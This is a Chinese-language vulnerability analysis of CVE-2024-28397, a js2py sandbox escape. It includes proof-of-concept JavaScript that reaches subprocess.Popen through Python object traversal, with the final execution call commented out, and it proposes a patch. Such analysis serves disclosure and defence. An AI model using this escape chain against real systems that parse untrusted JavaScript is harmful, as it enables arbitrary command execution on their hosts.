关于CVE-2024-28397的详细分析,这是js2py中的一个沙箱逃逸漏洞,通过Python对象遍历实现远程代码执行(RCE)。包含代码分析、PoC(概念验证)以及针对防御性研究的修复建议。
js2py 是一个流行的 Python 包,可以在 Python 解释器中执行 JavaScript 代码。它被多种网络爬虫用于解析网站上的 JavaScript 代码。
js2py 中一个全局变量的实现存在漏洞,允许攻击者在 js2py 环境中获取对 Python 对象的引用,从而使攻击者能够逃逸 JS 环境并在主机上执行任意命令。
通常,用户会调用 js2py.disable_pyimport() 来阻止 JavaScript 代码逃逸 js2py 环境。但利用此漏洞,攻击者可以绕过此限制,在目标主机上执行任意命令。
威胁行为者可以托管一个包含恶意 JavaScript 文件的网站,或者通过 HTTP API 发送恶意脚本供受害者解析。通过这样做,他们可以在目标主机上执行任意 shell 命令,实现远程代码执行。
js2py 是一个常用于爬虫的 Python 库,用于在原生 Python 环境中解析和执行 JS 代码。爬虫通常使用 js2py 解析从网络获取的 JS 代码,从而模拟浏览器环境。
然而,js2py 有一个对爬虫来说极其危险的函数:它支持在 JS 中导入和使用 Python 包,这意味着 js2py 允许 JS 代码操作各种 Python 库并直接与 Python 环境交互。正是因为这一点,我们可以使用类似 Jinja SSTI 的方法,在 js2py 环境中通过 Python 对象找到 subprocess.Popen 类,从而实现 RCE。
此外,由于 js2py 是 Python2 时代的包,被广泛使用且长期未维护,分析起来应该相对容易。
设置断点后发现,实际解析 JS 代码的地方是 host/jseval.py 中的 Eval 函数。通过在其中设置断点,可以看到 js2py 转换后的 Python 代码。
例如,这段 JS 代码:
let a = 114
console.log(a)
最终会被解析成这段 Python 代码:
var.registers(['a'])
var.put('a', Js(114.0))
EVAL_RESULT = (var.get('console').callprop('log', var.get('a')))
可以看出,JS 层的变量都存储在 Python 变量 var 中。所有 JS 层的值都被干净地存储为 PyJs 类(这里的 Js 实际上是一个函数,后面会解释)。函数也通过 callprop 调用。正常情况下,JS 代码无法触碰 Python 对象。
在查看代码时,注意到作者非常喜欢使用字符串拼接来构造最终的 Python 代码,因此想到是否可以通过构造 JS 代码来生成非法的 Python 代码,从而构造任意 Python 代码并执行。但考虑到这条路径比后面的路径要困难得多,因此没有进一步探索。
要获取 Python 对象并实现 RCE,首先需要了解 Python 对象是如何转换为 PyJs 对象的。
首先,定位 Js 函数的实现,在 base.py 中。Js 函数的作用是将传入的 Python 值转换为相应的 PyJs 值,从而使 JS 代码能够操作这些值。
def Js(val, Clamped=False):
'''Converts Py type to PyJs type'''
if isinstance(val, PyJs):
return val
elif val is None:
return undefined
elif isinstance(val, basestring):
return PyJsString(val, StringPrototype)
elif isinstance(val, bool):
return true if val else false
elif isinstance(val, float) or isinstance(val, int) or isinstance(
val, long) or (NUMPY_AVAILABLE and isinstance(
val,
(numpy.int8, numpy.uint8, numpy.int16, numpy.uint16,
numpy.int32, numpy.uint32, numpy.float32, numpy.float64))):
# This is supposed to speed things up. may not be the case
if val in NUM_BANK:
return NUM_BANK[val]
return PyJsNumber(float(val), NumberPrototype)
... # several lines omitted here
else: # try to convert to js object
return py_wrap(val)
可以看出,Python 的基本数据结构如 bool、float、list 等会被转换为专门的 PyJs 类,而其他类型的数据则由 py_wrap 处理,最终成为 PyObjectWrapper 类。
普通的 PyJs 类表示数字、布尔等常见数据,而 PyObjectWrapper 表示特殊数据,如 Python 模块。因此,只要我们获得一个 PyObjectWrapper 类型的数据,就可以使用类似 Jinja SSTI 的属性访问方式来实现 RCE。
通常,PyObjectWrapper 类型的数据只能在启用导入 Python 包的功能时获得,但由于 js2py 长期未维护,且没有仔细考虑 Python2 和 Python3 的差异,最终导致了沙箱逃逸漏洞。
插曲:在查看 PyJs 的实现时,我看到作者写了这几行代码:
if six.PY3:
PyJs.__hash__ = PyJs._fuck_python3
PyJs.__truediv__ = PyJs.__div__
可以说作者非常不喜欢 Python3。
js2py 在提供将 JS 代码转换为 Python 代码的功能的同时,也提供了多个内置对象(如 console、Object)以支持 JS 代码的正常运行。
我们的最终目标是绕过 pyimport 的限制,获取一个 PyObjectWrapper 对象。从上面的分析可以看出,要凭空获得一个 PyObjectWrapper 对象,只能从内置对象的实现入手,从中提取一个 PyObjectWrapper 对象。
开始扫描内置对象的实现代码。从 constructors/jsobject.py 中可以看到 Object 对象中各种函数的实现,包括常用的 Object.keys。
然后,可以看到这个函数:
def getOwnPropertyNames(obj):
if not obj.is_object():
raise MakeError(
'TypeError',
'Object.getOwnPropertyDescriptor called on non-object')
return obj.own.keys()
js2py 使用 dict 来表示 JS 中的对象。这里的 keys() 调用了 Python 字典的 keys()。学过 Python 的人都知道,在 Python2 中,这个函数返回列表,而在 Python3 中,它返回 dict_keys 视图。根据上面 Js 函数的实现,这个 dict_keys 会被转换为 PyObjectWrapper,因此我们可以实现 RCE。
首先验证 getOwnPropertyNames 能否获取 PyObjectWrapper:
import js2py
code = """
let a = Object.getOwnPropertyNames({})
console.log(a)
"""
js2py.eval_js(code)
它打印了 PyObjectWrapper(dict_keys([])),当然可以。
然后,基于这个对象,获取 __getattribute__ 函数,就能轻松实现 RCE。在编写 PoC 时,想得太复杂了;实际上,只需使用 __class__.__base__ 就能获取 __getattribute__ 函数。
接着,基于 __getattribute__ 函数获取 object 对象,然后编写一个递归函数来查找任何模块的任何类。这里为了 RCE,查找的是 subprocess.Popen。
注意(已净化): 下面的代码片段仅用于教育和研究目的。已进行了净化,以避免被滥用:敏感的 shell 命令和直接系统执行已被替换为占位符。请勿在生产或未修补的系统上运行此代码。
import js2py
code = """
let cmd = "DUMMY_CMD" # replace with safe test command in a lab (e.g., 'echo test')
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
// The next call would invoke subprocess.Popen with arguments — in the sanitized version
// we replace the actual system invocation with a placeholder for safety reasons.
// findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log("[SANITIZED] PoC execution skipped to avoid misuse")
result
"""
# Note: js2py.eval_js(code) intentionally omitted to avoid running exploit code in this repository.
受影响组件的版本号:
受影响的产品:
复现步骤(仅限实验室):
pip install js2py 安装 js2py,并在隔离的实验室环境中执行净化过的 PoC 脚本。原始 PoC 尝试运行类似 head -n 1 /etc/passwd 和计算器的命令;在此仓库中,这些已替换为安全的占位符。Object.getOwnPropertyNames({}) 获取 PyObjectWrapper,从而允许属性遍历以访问 Python 内部。由于问题出在 getOwnPropertyNames 函数中,将其返回的 dict_keys 转换为普通列表即可解决。建议的补丁是在返回之前用 list(...) 包裹 obj.own.keys()。
此仓库仅用于教育和防御性研究目的。未经明确授权,请勿使用此处的任何信息或代码攻击系统。PoC 片段已被净化,以避免被滥用。
为研究与防御用途编译并翻译。